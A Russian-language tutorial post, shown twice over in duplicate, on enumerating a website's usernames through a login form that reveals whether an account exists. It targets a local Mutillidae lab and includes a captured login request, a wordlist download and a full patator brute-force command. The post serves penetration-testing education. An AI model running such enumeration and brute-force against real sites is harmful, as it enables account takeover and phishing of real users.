Найти в Дзене
Программист

Получение имён пользователей сайта методом перебора

Одним из важных этапов подготовки к брут-форсу входа на сайт является сбор имён пользователей. Важность этого можно показать математически. Например, для брут-форса аутентификации веб-приложения подготовлен словарь на 10,000 имён пользователей и 40,000 паролей. Легко посчитать, что количество комбинаций имя-пароль составит 10,000*40,000=400,000,000, т.е. очень много.
Если удалось собрать имена

Одним из важных этапов подготовки к брут-форсу входа на сайт является сбор имён пользователей. Важность этого можно показать математически. Например, для брут-форса аутентификации веб-приложения подготовлен словарь на 10,000 имён пользователей и 40,000 паролей. Легко посчитать, что количество комбинаций имя-пароль составит 10,000*40,000=400,000,000, т.е. очень много.

Если удалось собрать имена пользователей, допустим, список получился из десяти имён, то для перебора пар имя-пароль с тем же словарём паролей получится 10*40,000=400,000, т.е. разница драматическая – на три порядка.

Метод сбора имён пользователя зависит от конкретного приложения: некоторые содержат этот список в открытом виде и достаточно его спарсить, некоторые содержат профили пользователей и их можно перебрать по ID или адресу в URL. В этой заметке я покажу, как собрать имена пользователей через форму входа, которая сама говорит, существует пользователь или нет. Например, имеется форма входа:

При вводе данных реального пользователя, но с неправильным паролем, она выдаёт:

-2

Password incorrect – неверный пароль.

А при вводе логина несуществующего пользователя мы видим:

-3

Account does not exist – аккаунт не существует.

Это означает, что можно перебрать список пользователей (без перебора паролей). В дальнейшем этот список можно использовать для брут-форса паролей входа на сайт, для фишинговых атак и т.д.

Для осуществления перебора, в результате которого будет составлен список пользователей веб-сайта, я буду использовать Burp Suite и patator .

Запускаем и настраиваем Burp Suite для работы с веб-браузером .

Делаем тестовый вход с заведомо неправильным логином и получаем:

-4

POST /mutillidae/index.php?page=login.php HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Referer: http://localhost/mutillidae/index.php?page=login.php

Cookie: showhints=0; PHPSESSID=r0tduju2e6cl0q0jmc2b8qgfq5

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 65

username=admin111&password=password&login-php-submit-button=Login

Эта информация дала нам следующие сведения:

  • Данные передаются методом POST
  • Они передаются хосту localhost на страницу /mutillidae/index.php?page=login.php
  • Передаётся строка username=admin111&password=password&login-php-submit-button=Login , в которой admin111 – это имя пользователя, а password – это пароль.

Для того, чтобы программа перебора знала, какие результаты положительные, а какие отрицательные, мы должны указать выявить строку, которая показывается только при положительных результатах или только при отрицательных.

Мы уже видели, что в случае отсутствия аккаунта появляется запись «Account does not exist ». Т.е., вроде бы, если аккаунта нет, то в HTML коде должна быть строка «Account does not exist». Правильно?

Давайте проверим. Введём логин существующего пользователя, но с неправильным паролем. В Burp Suite мы переходим к новому пункту в HTTP history , выбираем вкладку Response и под-вкладку Raw . Теперь сделаем поиск по строке «Account does not exist»:

-5

Как можно убедиться, строка «Account does not exist» присутствует, как и другие строки, которые выводятся при разных ошибках.

Это означает, что строка «Account does not exist» является частью кода, всегда содержится в странице, даже если мы её не видим. Т.е. эта строка не подходит для проверки был ли результат положительным или отрицательным.

Посмотрим на часть JavaScript кода:

switch (lAuthenticationAttemptResultFlag){

case cACCOUNT_DOES_NOT_EXIST:

lMessage= "Account does not exist" ; lAuthenticationFailed = "TRUE" ;

break ;

case cPASSWORD_INCORRECT:

lMessage= "Password incorrect" ; lAuthenticationFailed = "TRUE" ;

break ;

case cNO_RESULTS_FOUND:

lMessage= "No results found" ; lAuthenticationFailed = "TRUE" ;

break ;

case cAUTHENTICATION_EXCEPTION_OCCURED:

lMessage= "Exception occurred" ; lAuthenticationFailed = "TRUE" ;

break ;

};

switch говорит о том, в зависимости от значения lAuthenticationAttemptResultFlag выбирается одна из случаев.

Сделаем поиск переменной lAuthenticationAttemptResultFlag . При несуществующем аккаунте:

-6

При неверном пароле:

-7

Итак, если аккаунт не существует, значит в HTML коде будет содержаться строка:

1

var lAuthenticationAttemptResultFlag = 0;

Нам нужен словарь:

1

wget https: //raw .githubusercontent.com /1N3/BruteX/master/wordlists/namelist .txt

Очистим его от дублей:

1

cat namelist.txt | sort | uniq > namelist_new.txt

Теперь у нас имеется вся необходимая информация для перебора имён пользователей на сайте.

Даже если вы пользуетесь Kali Linux, то рекомендуется проверить установленную версию patator и если она не является самой свежей, то загрузить свежую:

1

2

3

wget https: //raw .githubusercontent.com /lanjelot/patator/master/patator .py

chmod +x patator.py

. /patator .py

У меня получилась такая команда:

1

. /patator .py http_fuzz url= "localhost/mutillidae/index.php?page=login.php" method=POST body= 'username=FILE0&password=password&login-php-submit-button=Login' 0=namelist_new.txt accept_cookie=1 -x ignore: fgrep = 'var lAuthenticationAttemptResultFlag = 0;'

Если вам в ней что-то непонятно, то обратитесь к инструкции «Брут-форс веб-сайтов: инструкция по использованию patator, Hydra, Medusa ». Там подробно описывается процесс составления команд для брут-форса веб-приложений. Строка &password=password означает, что переменной &password всегда присвоено одно и то же значение (в данном случае password, но можно было выбрать любое произвольное слово, поскольку для брут-форса имён пользователей это несущественно).

-8

В столбце candidate можно увидеть пять имён пользователей целевого веб-сайта. Можно продолжить искать новых пользователей с помощью другого словаря или полного перебора, а можно создать маленький словарь из этих пяти логинов и начать уже брутфорсить пароли – процесс пойдёт значительно быстрее, чем если бы одновременно брутфорсились и имена пользователей и пароли.

Если форма ввода при вводе неправильных данных показывает что-то вроде «Неправильное имя пользователя или пароль», т.е. не выдаёт информацию, существует ли такой пользователь, то стоит проанализировать другие доступные формы. Например, в разделе «восстановление забытого пароля» веб-приложение может выдавать информацию о существовании пользователя с введённым логином (или адресом почты).

Как видим, не совсем удачная реализация аутентификации или предварительная разведка позволяют очень значительно (на несколько порядков) сократить время, необходимое на брут-форс учётных данных для входа.Одним из важных этапов подготовки к брут-форсу входа на сайт является сбор имён пользователей. Важность этого можно показать математически. Например, для брут-форса аутентификации веб-приложения подготовлен словарь на 10,000 имён пользователей и 40,000 паролей. Легко посчитать, что количество комбинаций имя-пароль составит 10,000*40,000=400,000,000, т.е. очень много.

Если удалось собрать имена пользователей, допустим, список получился из десяти имён, то для перебора пар имя-пароль с тем же словарём паролей получится 10*40,000=400,000, т.е. разница драматическая – на три порядка.

Метод сбора имён пользователя зависит от конкретного приложения: некоторые содержат этот список в открытом виде и достаточно его спарсить, некоторые содержат профили пользователей и их можно перебрать по ID или адресу в URL. В этой заметке я покажу, как собрать имена пользователей через форму входа, которая сама говорит, существует пользователь или нет. Например, имеется форма входа:

-9

При вводе данных реального пользователя, но с неправильным паролем, она выдаёт:

-10

Password incorrect – неверный пароль.

А при вводе логина несуществующего пользователя мы видим:

-11

Account does not exist – аккаунт не существует.

Это означает, что можно перебрать список пользователей (без перебора паролей). В дальнейшем этот список можно использовать для брут-форса паролей входа на сайт, для фишинговых атак и т.д.

Для осуществления перебора, в результате которого будет составлен список пользователей веб-сайта, я буду использовать Burp Suite и patator .

Запускаем и настраиваем Burp Suite для работы с веб-браузером .

Делаем тестовый вход с заведомо неправильным логином и получаем:

POST /mutillidae/index.php?page=login.php HTTP/1.1

Host: localhost

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Referer: http://localhost/mutillidae/index.php?page=login.php

Cookie: showhints=0; PHPSESSID=r0tduju2e6cl0q0jmc2b8qgfq5

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 65

username=admin111&password=password&login-php-submit-button=Login

Эта информация дала нам следующие сведения:

  • Данные передаются методом POST
  • Они передаются хосту localhost на страницу /mutillidae/index.php?page=login.php
  • Передаётся строка username=admin111&password=password&login-php-submit-button=Login , в которой admin111 – это имя пользователя, а password – это пароль.

Для того, чтобы программа перебора знала, какие результаты положительные, а какие отрицательные, мы должны указать выявить строку, которая показывается только при положительных результатах или только при отрицательных.

Мы уже видели, что в случае отсутствия аккаунта появляется запись «Account does not exist ». Т.е., вроде бы, если аккаунта нет, то в HTML коде должна быть строка «Account does not exist». Правильно?

Давайте проверим. Введём логин существующего пользователя, но с неправильным паролем. В Burp Suite мы переходим к новому пункту в HTTP history , выбираем вкладку Response и под-вкладку Raw . Теперь сделаем поиск по строке «Account does not exist»:

-12

Как можно убедиться, строка «Account does not exist» присутствует, как и другие строки, которые выводятся при разных ошибках.

Это означает, что строка «Account does not exist» является частью кода, всегда содержится в странице, даже если мы её не видим. Т.е. эта строка не подходит для проверки был ли результат положительным или отрицательным.

Посмотрим на часть JavaScript кода:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

switch (lAuthenticationAttemptResultFlag){

case cACCOUNT_DOES_NOT_EXIST:

lMessage= "Account does not exist" ; lAuthenticationFailed = "TRUE" ;

break ;

case cPASSWORD_INCORRECT:

lMessage= "Password incorrect" ; lAuthenticationFailed = "TRUE" ;

break ;

case cNO_RESULTS_FOUND:

lMessage= "No results found" ; lAuthenticationFailed = "TRUE" ;

break ;

case cAUTHENTICATION_EXCEPTION_OCCURED:

lMessage= "Exception occurred" ; lAuthenticationFailed = "TRUE" ;

break ;

};

switch говорит о том, в зависимости от значения lAuthenticationAttemptResultFlag выбирается одна из случаев.

Сделаем поиск переменной lAuthenticationAttemptResultFlag . При несуществующем аккаунте:

-13

При неверном пароле:

-14

Итак, если аккаунт не существует, значит в HTML коде будет содержаться строка:

1

var lAuthenticationAttemptResultFlag = 0;

Нам нужен словарь:

1

wget https: //raw .githubusercontent.com /1N3/BruteX/master/wordlists/namelist .txt

Очистим его от дублей:

1

cat namelist.txt | sort | uniq > namelist_new.txt

Теперь у нас имеется вся необходимая информация для перебора имён пользователей на сайте.

Даже если вы пользуетесь Kali Linux, то рекомендуется проверить установленную версию patator и если она не является самой свежей, то загрузить свежую:

1

2

3

wget https: //raw .githubusercontent.com /lanjelot/patator/master/patator .py

chmod +x patator.py

. /patator .py

У меня получилась такая команда:

1

. /patator .py http_fuzz url= "localhost/mutillidae/index.php?page=login.php" method=POST body= 'username=FILE0&password=password&login-php-submit-button=Login' 0=namelist_new.txt accept_cookie=1 -x ignore: fgrep = 'var lAuthenticationAttemptResultFlag = 0;'

Если вам в ней что-то непонятно, то обратитесь к инструкции «Брут-форс веб-сайтов: инструкция по использованию patator, Hydra, Medusa ». Там подробно описывается процесс составления команд для брут-форса веб-приложений. Строка &password=password означает, что переменной &password всегда присвоено одно и то же значение (в данном случае password, но можно было выбрать любое произвольное слово, поскольку для брут-форса имён пользователей это несущественно).

-15

В столбце candidate можно увидеть пять имён пользователей целевого веб-сайта. Можно продолжить искать новых пользователей с помощью другого словаря или полного перебора, а можно создать маленький словарь из этих пяти логинов и начать уже брутфорсить пароли – процесс пойдёт значительно быстрее, чем если бы одновременно брутфорсились и имена пользователей и пароли.

Если форма ввода при вводе неправильных данных показывает что-то вроде «Неправильное имя пользователя или пароль», т.е. не выдаёт информацию, существует ли такой пользователь, то стоит проанализировать другие доступные формы. Например, в разделе «восстановление забытого пароля» веб-приложение может выдавать информацию о существовании пользователя с введённым логином (или адресом почты).

Как видим, не совсем удачная реализация аутентификации или предварительная разведка позволяют очень значительно (на несколько порядков) сократить время, необходимое на брут-форс учётных данных для входа.